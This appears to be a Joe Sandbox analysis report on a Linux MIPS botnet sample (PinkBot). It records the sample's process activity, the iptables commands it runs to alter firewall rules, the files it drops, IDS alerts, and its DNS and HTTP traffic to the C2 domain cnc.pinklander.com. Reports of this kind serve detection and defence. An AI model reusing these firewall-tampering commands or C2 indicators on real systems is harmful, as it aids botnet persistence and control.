Source: /tmp/file.elf (PID: 5673)	Shell command executed: /bin/sh -c "/sbin/iptables -n -L INPUT > /tmp/pink/p2p_ipt_check"	Jump to behavior

Source: /bin/sh (PID: 5540)	Iptables executable: /sbin/iptables -> /sbin/iptables -t mangle -D PREROUTING -p tcp --dport 80 -j QUEUE	Jump to behavior
Source: /bin/sh (PID: 5548)	Iptables executable: /sbin/iptables -> /sbin/iptables -t mangle -D POSTROUTING -p tcp --sport 80 -j QUEUE	Jump to behavior
Source: /bin/sh (PID: 5559)	Iptables executable: /sbin/iptables -> /sbin/iptables -n -L OUTPUT	Jump to behavior
Source: /bin/sh (PID: 5589)	Iptables executable: /sbin/iptables -> /sbin/iptables -n -L OUTPUT	Jump to behavior
Source: /bin/sh (PID: 5601)	Iptables executable: /sbin/iptables -> /sbin/iptables -n -L OUTPUT	Jump to behavior
Source: /bin/sh (PID: 5612)	Iptables executable: /sbin/iptables -> /sbin/iptables -n -L OUTPUT	Jump to behavior
Source: /bin/sh (PID: 5635)	Iptables executable: /sbin/iptables -> /sbin/iptables -n -L OUTPUT	Jump to behavior
Source: /bin/sh (PID: 5644)	Iptables executable: /sbin/iptables -> /sbin/iptables -n -L OUTPUT	Jump to behavior
Source: /bin/sh (PID: 5654)	Iptables executable: /sbin/iptables -> /sbin/iptables -n -L OUTPUT	Jump to behavior
Source: /bin/sh (PID: 5667)	Iptables executable: /sbin/iptables -> /sbin/iptables -n -L OUTPUT	Jump to behavior
Source: /bin/sh (PID: 5622)	Iptables executable: /sbin/iptables -> /sbin/iptables -n -L INPUT	Jump to behavior
Source: /bin/sh (PID: 5625)	Iptables executable: /sbin/iptables -> /sbin/iptables -I INPUT -p udp --dport 123 -j ACCEPT	Jump to behavior
Source: /bin/sh (PID: 5675)	Iptables executable: /sbin/iptables -> /sbin/iptables -n -L INPUT	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown

Network traffic detected: HTTP traffic on port 53726 -> 1088

Source: /tmp/file.elf (PID: 5527)

Sleeps longer then 60s: 300.0s

Jump to behavior

Source: /tmp/file.elf (PID: 5523)

Queries kernel information via 'uname':

Jump to behavior

Source: file.elf, 5523.1.000055fe755fc000.000055fe75683000.rw-.sdmp, file.elf, 5618.1.000055fe755fc000.000055fe75683000.rw-.sdmp, file.elf, 5671.1.000055fe755fc000.000055fe75683000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: file.elf, 5523.1.000055fe755fc000.000055fe75683000.rw-.sdmp, file.elf, 5618.1.000055fe755fc000.000055fe75683000.rw-.sdmp, file.elf, 5671.1.000055fe755fc000.000055fe75683000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: file.elf, 5523.1.00007fffa3321000.00007fffa3342000.rw-.sdmp, file.elf, 5618.1.00007fffa3321000.00007fffa3342000.rw-.sdmp, file.elf, 5671.1.00007fffa3321000.00007fffa3342000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel
Source: file.elf, 5523.1.00007fffa3321000.00007fffa3342000.rw-.sdmp, file.elf, 5618.1.00007fffa3321000.00007fffa3342000.rw-.sdmp, file.elf, 5671.1.00007fffa3321000.00007fffa3342000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/file.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/file.elf

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 Virtualization/Sandbox Evasion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	1 System Network Configuration Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.elf	57%	Virustotal		Browse
file.elf	61%	ReversingLabs	Linux.Trojan.Pink
file.elf	100%	Avira	LINUX/Agent.rguwm

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://150.16.251.13/	0%	Avira URL Cloud	safe
http://%s:%d/d/index.htmlcnc.pinklander.com/tmp/pink/cache_finder_page_webhttp://%s//tmp/pink/fc_ip%	0%	Avira URL Cloud	safe
http://%s:%d/d/index.html	0%	Avira URL Cloud	safe
http://150.16.251.13:1088/d/index.html	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cnc.pinklander.com	13.251.16.150	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://150.16.251.13/	false	Avira URL Cloud: safe	unknown
http://150.16.251.13:1088/d/index.html	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://%s:%d/d/index.htmlcnc.pinklander.com/tmp/pink/cache_finder_page_webhttp://%s//tmp/pink/fc_ip%	file.elf	false	Avira URL Cloud: safe	unknown
http://%s:%d/d/index.html	file.elf	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
13.251.16.150	cnc.pinklander.com	United States		16509	AMAZON-02US	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.251.16.150	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	qaynky.biz/rss
	REQUEST FOR QUOTATION 1307-RFQ.exe	Get hash	malicious	MassLogger RAT	Browse	ifsaia.biz/mmbextsivoeuyvtt
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	ifsaia.biz/sdnqcxpiurneql
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	ifsaia.biz/pn
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	ifsaia.biz/vcyisuboorqd
	Ziraat_Swift.hta	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	ifsaia.biz/laps
	invoice_96.73.exe	Get hash	malicious	FormBook	Browse	iuzpxe.biz/tgcwttfqletfhyq
	Order SMG 201906 20190816order.pdf.scr.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	gcedd.biz/xindlfknrhvc
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	gcedd.biz/rw
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	ifsaia.biz/jlhpxxcq

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	file.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	file.elf	Get hash	malicious	Unknown	Browse	54.217.10.153
	https://app.planable.io/review/0OPaw36t6M_k	Get hash	malicious	HTMLPhisher	Browse	52.17.171.17
	https://we.tl/t-fnebgmrnYQ	Get hash	malicious	Unknown	Browse	18.245.46.98
	Undelivered Messages.htm	Get hash	malicious	Unknown	Browse	18.245.31.5
	arm7.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	Client.exe	Get hash	malicious	AsyncRAT	Browse	35.154.189.194
	1162-201.exe	Get hash	malicious	FormBook	Browse	76.223.67.189
	https://cdn.btmessage.com/	Get hash	malicious	HTMLPhisher	Browse	52.211.89.170
	3.elf	Get hash	malicious	Unknown	Browse	18.151.37.43

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/tmp/pink/cache_finder_page_web

Download File

Process:	/tmp/file.elf
File Type:	gzip compressed data, from Unix, truncated
Category:	dropped
Size (bytes):	20
Entropy (8bit):	1.2917601481809733
Encrypted:	false
SSDEEP:	3:Ftt:Xt
MD5:	7029066C27AC6F5EF18D660D5741979A
SHA1:	46C6643F07AA7F6BFE7118DE926B86DEFC5087C4
SHA-256:	59869DB34853933B239F1E2219CF7D431DA006AA919635478511FABBFC8849D2
SHA-512:	7E8E93F4A89CE7FAE011403E14A1D53544C6E6F6B6010D61129DC27937806D2B03802610D7999EAB33A4C36B0F9E001D9D76001B8354087634C1AA9C740C536F
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	....................

/tmp/pink/cnc_live

Download File

Process:	/tmp/file.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	10
Entropy (8bit):	2.721928094887362
Encrypted:	false
SSDEEP:	3:LaVTh:2
MD5:	EA6799EC47FAAF547D6A916B059D8BCA
SHA1:	620C2CC980548257069A173FAE2304752107E882
SHA-256:	17B1B5B2A80B151847A10950DA0203FBEB15D10FB5751D62FC443C16F6C6DD1C
SHA-512:	FF659CAA0EFFFD9371C673F34FE3C52B5CF62A62F0E5228CFBD72A17E5C50B5C985D9C06CADBB8F8973D45842E42EA644B1C261AB6034516EAD2403FC709CA48
Malicious:	false
Reputation:	low
Preview:	1736510695

/tmp/pink/cnc_live_proxy

Download File

Process:	/tmp/file.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	10
Entropy (8bit):	2.721928094887362
Encrypted:	false
SSDEEP:	3:LaVTh:2
MD5:	EA6799EC47FAAF547D6A916B059D8BCA
SHA1:	620C2CC980548257069A173FAE2304752107E882
SHA-256:	17B1B5B2A80B151847A10950DA0203FBEB15D10FB5751D62FC443C16F6C6DD1C
SHA-512:	FF659CAA0EFFFD9371C673F34FE3C52B5CF62A62F0E5228CFBD72A17E5C50B5C985D9C06CADBB8F8973D45842E42EA644B1C261AB6034516EAD2403FC709CA48
Malicious:	false
Reputation:	low
Preview:	1736510695

/tmp/pink/cnc_runtype

Download File

Process:	/tmp/file.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:pjB:n
MD5:	10311431E6EFA482F2E69D5B9D192941
SHA1:	1CD04617938FD693AFA091FFD9BD71D793D595AD
SHA-256:	9EF249AEBF53BC11E0179D8296301AAB1AE68362E68DFDE28042CCA233EE31EA
SHA-512:	320E63AB594BB32FD83FF28F8C8C92D82B647006DC0AA87F1D8A892C158D126CDBD0F643FD333EAA7FDF0E1B5D4203B8A16F5322CC2A43A704379C130FFD209A
Malicious:	false
Reputation:	low
Preview:	-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1-1

/tmp/pink/p2p_cncproxy_status

Download File

Process:	/tmp/file.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:pp:j
MD5:	B74BE257D5C98576EB7D74FBE53DECE1
SHA1:	3503F3850BB04BF5FAF736BD1642066EC6D5A558
SHA-256:	774E9B190BEEA2232D5A5F7D17C17961284CD3AF11E76D25A28AF755F002E8C4
SHA-512:	699AED21719FA161B2AE2741A0A538BA1E16D11BC7C7FCC5EFECF46C68A766F10979B1287881087A7B0FA7E3225FBAA72895129367F84050B41FB040175398C7
Malicious:	false
Reputation:	low
Preview:	-1-1

/tmp/pink/p2p_ipt_check

Download File

Process:	/sbin/iptables
File Type:	ASCII text
Category:	dropped
Size (bytes):	164
Entropy (8bit):	3.77769731203799
Encrypted:	false
SSDEEP:	3:ULUsTt1xMJ+DRF09hZxRXWmms8IWhSN5eNKVKGv:ULUsmJ+DRKhhXWXgS4KGv
MD5:	A96BDE933539F9145925F60C195DC33A
SHA1:	C869E5E6E617623819436CE06D1074C90F2981F9
SHA-256:	9211E22FDC170B0E2B70FB4954E52A74C0D73B3DF4CAF9EB806B25A879F24F7E
SHA-512:	034822D25CAD5D0C6F9B930AA72549DA6FD1C770BF13F721563E3F3018E2F33579E6E5B112672C3259470A9CF5FA375AC8D87876AB7B77AEC15F1124677EF654
Malicious:	false
Reputation:	low
Preview:	Chain INPUT (policy ACCEPT).target prot opt source destination .ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:123.

/tmp/pink/protect_ipt_check

Download File

Process:	/sbin/iptables
File Type:	ASCII text
Category:	dropped
Size (bytes):	91
Entropy (8bit):	3.745406018260019
Encrypted:	false
SSDEEP:	3:ULlA3Vzt1xMJ+DRF09hZxRXt:ULlI4J+DRKhhXt
MD5:	5C6B03281E68751E6D3A4555637090E4
SHA1:	FCA886FF5D09EA5CACB19B0E72773F407539DEC4
SHA-256:	88A1A8CB11B5CFFE4CACF01CC5D2154DF6CC26DA8E2362F3A187B56AE7537F10
SHA-512:	AF027E266925B884149B73710669E29295EAA01496628086EDFF4E77C6980E87890EC9905C75C5517EA5D07C7CA2A5A6E6B32CF8FE336436112DDC7D120F1946
Malicious:	false
Reputation:	low
Preview:	Chain OUTPUT (policy ACCEPT).target prot opt source destination .

/tmp/qemu-open.IJGQHZ (deleted)

Download File

Process:	/tmp/file.elf
File Type:	data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.2359263506290334
Encrypted:	false
SSDEEP:	3:Tg4n:Tg4
MD5:	256E722E092BB0C35A003C120A06CD0D
SHA1:	F0282586CBD36C0015025C0200A4208BB6AD130C
SHA-256:	E8B8C21D838E7B51627767942CC6FDF182E5E409C634A7C85002D1109161B649
SHA-512:	4F52DCF7944A06CE22BF363BD40E32DD842EEC3FEDEBAC50DAF1A2705B095BEBD0AB4E8313EEAE238B82E5BF23D5C95D722A4D36F578E6551C502E305CE6603C
Malicious:	false
Reputation:	low
Preview:	/tmp/file.elf.

/tmp/qemu-open.M2JAPW (deleted)

Download File

Process:	/tmp/file.elf
File Type:	data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.2359263506290334
Encrypted:	false
SSDEEP:	3:Tg4n:Tg4
MD5:	256E722E092BB0C35A003C120A06CD0D
SHA1:	F0282586CBD36C0015025C0200A4208BB6AD130C
SHA-256:	E8B8C21D838E7B51627767942CC6FDF182E5E409C634A7C85002D1109161B649
SHA-512:	4F52DCF7944A06CE22BF363BD40E32DD842EEC3FEDEBAC50DAF1A2705B095BEBD0AB4E8313EEAE238B82E5BF23D5C95D722A4D36F578E6551C502E305CE6603C
Malicious:	false
Preview:	/tmp/file.elf.

/tmp/qemu-open.jx2RQZ (deleted)

Download File

Process:	/tmp/file.elf
File Type:	data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.2359263506290334
Encrypted:	false
SSDEEP:	3:Tg4n:Tg4
MD5:	256E722E092BB0C35A003C120A06CD0D
SHA1:	F0282586CBD36C0015025C0200A4208BB6AD130C
SHA-256:	E8B8C21D838E7B51627767942CC6FDF182E5E409C634A7C85002D1109161B649
SHA-512:	4F52DCF7944A06CE22BF363BD40E32DD842EEC3FEDEBAC50DAF1A2705B095BEBD0AB4E8313EEAE238B82E5BF23D5C95D722A4D36F578E6551C502E305CE6603C
Malicious:	false
Preview:	/tmp/file.elf.

Static File Info

General

File type:	ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, no section header
Entropy (8bit):	5.30495574987329
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	file.elf
File size:	610'960 bytes
MD5:	3a620ff356686b461e0e1a12535bea24
SHA1:	a1f6ddfdd78885eb585704131b6dac1d0abae4ea
SHA256:	a430ed516a8a596570bc3a496b99cf6c7dd0a69ae0614ab2d2de6e9a8a6c2fc8
SHA512:	c7a610bf76225bd01cbc99857c87aa63f5dd316625f400ccc9562f4ad77f55ebfcf4116731f82ba55d1d195c81ddde5701e7faf86f832da8e0ae01438f2f0b0d
SSDEEP:	6144:Px603RYIUg4fisEb+bua9vRdM+RRVdp/kzEd/EudQMxsuOfzmJ/0j+etz5bHZ:Px6DTOs79TRdAEhEU5NYzKI+etZZ
TLSH:	B3D462EDABA12EBFD81EDE3200650682144C429A13D66B7FA5B6C518F78FD0F49D3C58
File Content Preview:	.ELF....................p.@.4...........4. ...(........p......@...@...........................@...@.P,..P,...............0...0J..0J.."..d...............\0..\0J.\0J.................Q.td..................................................J....<...'!......'...

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400170
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	0
Section Header Size:	40
Number of Section Headers:	0
Header String Table Index:	0

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align
<unknown>	0xd4	0x4000d4	0x4000d4	0x18	0x18	1.4575	0x4	R	0x4
LOAD	0x0	0x400000	0x400000	0x92c50	0x92c50	5.3067	0x5	R E	0x10000
LOAD	0x93000	0x4a3000	0x4a3000	0x2290	0x128d64	4.7222	0x6	RW	0x10000
TLS	0x9305c	0x4a305c	0x4a305c	0x0	0x8	0.0000	0x4	R	0x4
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T13:04:51.926756+0100	2034317	ET MALWARE PinkBot CnC Domain in DNS Lookup (cnc .pinklander .com)	1	192.168.2.15	38412	8.8.8.8	53	UDP
2025-01-10T13:04:52.929204+0100	2034317	ET MALWARE PinkBot CnC Domain in DNS Lookup (cnc .pinklander .com)	1	192.168.2.15	39744	8.8.8.8	53	UDP
2025-01-10T13:04:55.274675+0100	2034317	ET MALWARE PinkBot CnC Domain in DNS Lookup (cnc .pinklander .com)	1	192.168.2.15	37414	8.8.8.8	53	UDP
2025-01-10T13:04:56.277243+0100	2034317	ET MALWARE PinkBot CnC Domain in DNS Lookup (cnc .pinklander .com)	1	192.168.2.15	45062	8.8.8.8	53	UDP
2025-01-10T13:04:59.509942+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	13.251.16.150	80	192.168.2.15	50788	TCP
2025-01-10T13:04:59.509942+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	13.251.16.150	80	192.168.2.15	50788	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 13:04:53.933773994 CET	53726	1088	192.168.2.15	13.251.16.150
Jan 10, 2025 13:04:53.938723087 CET	1088	53726	13.251.16.150	192.168.2.15
Jan 10, 2025 13:04:53.938796043 CET	53726	1088	192.168.2.15	13.251.16.150
Jan 10, 2025 13:04:54.044399023 CET	53726	1088	192.168.2.15	13.251.16.150
Jan 10, 2025 13:04:54.049278975 CET	1088	53726	13.251.16.150	192.168.2.15
Jan 10, 2025 13:04:55.233983994 CET	1088	53726	13.251.16.150	192.168.2.15
Jan 10, 2025 13:04:55.234042883 CET	1088	53726	13.251.16.150	192.168.2.15
Jan 10, 2025 13:04:55.234095097 CET	53726	1088	192.168.2.15	13.251.16.150
Jan 10, 2025 13:04:55.270572901 CET	53726	1088	192.168.2.15	13.251.16.150
Jan 10, 2025 13:04:55.275495052 CET	1088	53726	13.251.16.150	192.168.2.15
Jan 10, 2025 13:04:57.281049967 CET	50788	80	192.168.2.15	13.251.16.150
Jan 10, 2025 13:04:57.285963058 CET	80	50788	13.251.16.150	192.168.2.15
Jan 10, 2025 13:04:57.286036968 CET	50788	80	192.168.2.15	13.251.16.150
Jan 10, 2025 13:04:57.400341988 CET	50788	80	192.168.2.15	13.251.16.150
Jan 10, 2025 13:04:57.405273914 CET	80	50788	13.251.16.150	192.168.2.15
Jan 10, 2025 13:04:58.662766933 CET	80	50788	13.251.16.150	192.168.2.15
Jan 10, 2025 13:04:58.662827969 CET	80	50788	13.251.16.150	192.168.2.15
Jan 10, 2025 13:04:58.662864923 CET	50788	80	192.168.2.15	13.251.16.150
Jan 10, 2025 13:04:58.705275059 CET	50788	80	192.168.2.15	13.251.16.150
Jan 10, 2025 13:04:59.504882097 CET	50788	80	192.168.2.15	13.251.16.150
Jan 10, 2025 13:04:59.504924059 CET	50788	80	192.168.2.15	13.251.16.150
Jan 10, 2025 13:04:59.509942055 CET	80	50788	13.251.16.150	192.168.2.15
Jan 10, 2025 13:04:59.510029078 CET	50788	80	192.168.2.15	13.251.16.150

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 13:04:51.926755905 CET	38412	53	192.168.2.15	8.8.8.8
Jan 10, 2025 13:04:52.024991989 CET	53	38412	8.8.8.8	192.168.2.15
Jan 10, 2025 13:04:52.929203987 CET	39744	53	192.168.2.15	8.8.8.8
Jan 10, 2025 13:04:53.065288067 CET	53	39744	8.8.8.8	192.168.2.15
Jan 10, 2025 13:04:55.274674892 CET	37414	53	192.168.2.15	8.8.8.8
Jan 10, 2025 13:04:55.281688929 CET	53	37414	8.8.8.8	192.168.2.15
Jan 10, 2025 13:04:56.277242899 CET	45062	53	192.168.2.15	8.8.8.8
Jan 10, 2025 13:04:56.284754992 CET	53	45062	8.8.8.8	192.168.2.15

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 13:04:51.926755905 CET	192.168.2.15	8.8.8.8	0xf2b0	Standard query (0)	cnc.pinklander.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 13:04:52.929203987 CET	192.168.2.15	8.8.8.8	0x4156	Standard query (0)	cnc.pinklander.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 13:04:55.274674892 CET	192.168.2.15	8.8.8.8	0xa5fc	Standard query (0)	cnc.pinklander.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 13:04:56.277242899 CET	192.168.2.15	8.8.8.8	0xa6ae	Standard query (0)	cnc.pinklander.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 13:04:52.024991989 CET	8.8.8.8	192.168.2.15	0xf2b0	No error (0)	cnc.pinklander.com	13.251.16.150	A (IP address)	IN (0x0001)	false
Jan 10, 2025 13:04:53.065288067 CET	8.8.8.8	192.168.2.15	0x4156	No error (0)	cnc.pinklander.com	13.251.16.150	A (IP address)	IN (0x0001)	false
Jan 10, 2025 13:04:55.281688929 CET	8.8.8.8	192.168.2.15	0xa5fc	No error (0)	cnc.pinklander.com	13.251.16.150	A (IP address)	IN (0x0001)	false
Jan 10, 2025 13:04:56.284754992 CET	8.8.8.8	192.168.2.15	0xa6ae	No error (0)	cnc.pinklander.com	13.251.16.150	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

150.16.251.13:1088

150.16.251.13

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.15	53726	13.251.16.150	1088

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 13:04:54.044399023 CET	290	OUT	GET /d/index.html HTTP/1.1 Host: 150.16.251.13:1088 Connection: Keep-Alive Accept: / Accept-Language: zh-cn,zh;q=0.7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Accept-Encoding: gzip

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.15	50788	13.251.16.150	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 13:04:57.400341988 CET	286	OUT	GET / HTTP/1.1 Host: 150.16.251.13 Connection: Keep-Alive Accept: / Accept-Language: zh-cn,zh;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0 Accept-Encoding: gzip
Jan 10, 2025 13:04:58.662766933 CET	474	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 12:04:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=e25ec1b5248373bbd2cfd99ac24c4204\|8.46.123.189\|1736510698\|1736510698\|0\|1\|0; path=/; domain=150.16.251.13; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.189; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Content-Encoding: gzip Data Raw: 31 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 140

System Behavior

Analysis Process: file.elf PID: 5523, Parent PID: 5441

General

Start time (UTC):	12:04:51
Start date (UTC):	10/01/2025
Path:	/tmp/file.elf
Arguments:	/tmp/file.elf
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Chronological Activities

Analysis Process: file.elf PID: 5525, Parent PID: 5523

General

Start time (UTC):	12:04:51
Start date (UTC):	10/01/2025
Path:	/tmp/file.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Chronological Activities

Analysis Process: file.elf PID: 5527, Parent PID: 5525

General

Start time (UTC):	12:04:51
Start date (UTC):	10/01/2025
Path:	/tmp/file.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Chronological Activities

Analysis Process: file.elf PID: 5538, Parent PID: 5525

General

Start time (UTC):	12:04:55
Start date (UTC):	10/01/2025
Path:	/tmp/file.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Chronological Activities

Analysis Process: sh PID: 5538, Parent PID: 5525

General

Start time (UTC):	12:04:55
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	/bin/sh -c "/sbin/iptables -t mangle -D PREROUTING -p tcp --dport 80 -j QUEUE"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5540, Parent PID: 5538

General

Start time (UTC):	12:04:55
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: iptables PID: 5540, Parent PID: 5538

General

Start time (UTC):	12:04:55
Start date (UTC):	10/01/2025
Path:	/sbin/iptables
Arguments:	/sbin/iptables -t mangle -D PREROUTING -p tcp --dport 80 -j QUEUE
File size:	99296 bytes
MD5 hash:	1ab05fef765b6342cdfadaa5275b33af

Chronological Activities

Analysis Process: file.elf PID: 5546, Parent PID: 5525

General

Start time (UTC):	12:04:55
Start date (UTC):	10/01/2025
Path:	/tmp/file.elf
Arguments:	-
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Chronological Activities

Analysis Process: sh PID: 5546, Parent PID: 5525

General

Start time (UTC):	12:04:55
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	/bin/sh -c "/sbin/iptables -t mangle -D POSTROUTING -p tcp --sport 80 -j QUEUE"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5548, Parent PID: 5546

General

Start time (UTC):	12:04:55
Start date (UTC):	10/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: iptables PID: 5548, Parent PID: 5546

General

Start time (UTC):	12:04:55
Start date (UTC):	10/01/2025
Path:	/sbin/iptables
Arguments:	/sbin/iptables -t mangle -D POSTROUTING -p tcp --sport 80 -j QUEUE
File size:	99296 bytes
MD5 hash:	1ab05fef765b6342cdfadaa5275b33af

Chronological Activities

Analysis Process: file.elf PID: 5549, Parent PID: 5525

General

Start time (UTC):	12:04:55
Start date (UTC):	10/01/2025
